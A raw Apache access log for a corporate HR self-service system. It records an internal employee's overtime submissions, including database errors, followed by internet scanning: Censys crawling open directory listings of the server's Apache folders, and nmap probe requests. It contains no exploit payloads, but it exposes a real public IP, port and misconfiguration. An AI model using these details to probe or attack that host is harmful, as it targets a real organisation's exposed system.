+0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [02/Dec/2025:20:02:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:02:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.60 - - [02/Dec/2025:20:02:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:02:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:20:02:53 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:02:53 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe HTTP/1.1" 200 3105 192.168.11.60 - - [02/Dec/2025:20:02:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:02:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [02/Dec/2025:20:02:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:02:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.60 - - [02/Dec/2025:20:03:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:20:03:14 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E4%BF%9D%E5%AD%98%E5%8A%A0%E7%8F%AD%E8%B3%87%E6%96%99%E7%94%B3%E8%AB%8B%E6%99%82%E5%87%BA%E9%8C%AF%2C%E5%8E%9F%E5%9B%A0%3AORA-12899%3A+value+too+large+for+column+%22HCP%22.%22HR_OVERTIME_FLOW_SZ%22.%22REMARK%22+%28actual%3A+114%2C+maximum%3A+100%29&target=iframe HTTP/1.1" 200 3193 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:14 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=%E4%BF%9D%E5%AD%98%E5%8A%A0%E7%8F%AD%E8%B3%87%E6%96%99%E7%94%B3%E8%AB%8B%E6%99%82%E5%87%BA%E9%8C%AF%2C%E5%8E%9F%E5%9B%A0%3AORA-12899%3A+value+too+large+for+column+%22HCP%22.%22HR_OVERTIME_FLOW_SZ%22.%22REMARK%22+%28actual%3A+114%2C+maximum%3A+100%29&target=iframe HTTP/1.1" 200 3193 192.168.11.60 - - [02/Dec/2025:20:03:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [02/Dec/2025:20:03:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.60 - - [02/Dec/2025:20:03:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:20:03:29 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:29 +0800] "GET /eHR/ess/redirect.php?scriptname=page_error&msgtxt=HCP-WORKFLOW-0059%3A%E8%BC%B8%E5%85%A5%E5%8A%A0%E7%8F%AD%E6%99%82%E6%95%B8%E8%B6%85%E9%81%8E%E5%AF%A6%E9%9A%9B%E6%99%82%E6%95%B8.&target=iframe HTTP/1.1" 200 3105 192.168.11.60 - - [02/Dec/2025:20:03:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [02/Dec/2025:20:03:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.60 - - [02/Dec/2025:20:03:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:20:03:39 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:39 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.60 - - [02/Dec/2025:20:03:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.60 - - [02/Dec/2025:20:03:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:20:03:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 100.64.0.1 - - [02/Dec/2025:20:12:52 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:12:52 +0800] "MGLNDD_202.111.43.170_8088" 501 228 100.64.0.1 - - [02/Dec/2025:20:32:58 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:32:58 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:20:33:04 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:33:04 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:20:33:06 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:06 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:20:33:08 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:33:08 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [02/Dec/2025:20:33:10 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:10 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [02/Dec/2025:20:33:17 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:17 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:20:33:18 +0800] "GET /eHRTEST HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:18 +0800] "GET /eHRTEST HTTP/1.1" 301 242 100.64.0.1 - - [02/Dec/2025:20:33:18 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:18 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:20:33:19 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:19 +0800] "GET /eHR HTTP/1.1" 301 238 100.64.0.1 - - [02/Dec/2025:20:33:19 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:19 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:20:33:20 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:20 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [02/Dec/2025:20:33:20 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:20 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [02/Dec/2025:20:33:21 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:21 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [02/Dec/2025:20:33:22 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:22 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [02/Dec/2025:20:33:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 100.64.0.1 - - [02/Dec/2025:20:33:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [02/Dec/2025:20:33:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 279 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 279 100.64.0.1 - - [02/Dec/2025:20:33:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [02/Dec/2025:20:33:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv HTTP/1.1" 301 285 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv HTTP/1.1" 301 285 100.64.0.1 - - [02/Dec/2025:20:33:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/bin/iconv" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 100.64.0.1 - - [02/Dec/2025:20:33:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280 100.64.0.1 - - [02/Dec/2025:20:33:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 100.64.0.1 - - [02/Dec/2025:20:33:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 100.64.0.1 - - [02/Dec/2025:20:33:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 100.64.0.1 - - [02/Dec/2025:20:33:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 287 100.64.0.1 - - [02/Dec/2025:20:33:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons/small" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 100.64.0.1 - - [02/Dec/2025:20:33:54 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:20:33:54 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:33:57 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:20:33:57 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:20:47:24 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [02/Dec/2025:20:47:24 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:47:25 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:47:25 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [02/Dec/2025:20:47:27 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:47:27 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [02/Dec/2025:20:47:27 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:47:27 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [02/Dec/2025:20:47:56 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:20:47:56 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:47:57 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:47:57 +0800] "MGLNDD_202.111.43.170_8088" 501 228 100.64.0.1 - - [02/Dec/2025:20:50:41 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:50:41 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:20:53:09 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:53:09 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "GET /nmaplowercheck1764679986 HTTP/1.1" 404 222 "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "GET /nmaplowercheck1764679986 HTTP/1.1" 404 222 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "POST /sdk HTTP/1.1" 404 201 "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "POST /sdk HTTP/1.1" 404 201 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "HEAD / HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "GET /HNAP1 HTTP/1.1" 404 203 "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "GET /HNAP1 HTTP/1.1" 404 203 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "GET /evox/about HTTP/1.1" 404 208 "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:53:23 +0800] "GET /evox/about HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:20:53:33 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [02/Dec/2025:20:53:33 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:53:38 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:53:38 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:20:53:38 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:53:38 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "POST /sdk HTTP/1.1" 404 201 "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "POST /sdk HTTP/1.1" 404 201 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "GET /nmaplowercheck1764680134 HTTP/1.1" 404 222 "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "GET /nmaplowercheck1764680134 HTTP/1.1" 404 222 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "HEAD / HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "GET /HNAP1 HTTP/1.1" 404 203 "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "GET /HNAP1 HTTP/1.1" 404 203 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "GET /evox/about HTTP/1.1" 404 208 "-" "\"Mozilla/5.0" 100.64.0.1 - - [02/Dec/2025:20:55:50 +0800] "GET /evox/about HTTP/1.1" 404 208 100.64.0.1 - - [02/Dec/2025:20:56:00 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [02/Dec/2025:20:56:00 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:56:10 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:56:10 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [02/Dec/2025:20:56:11 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:20:56:11 +0800] "GET 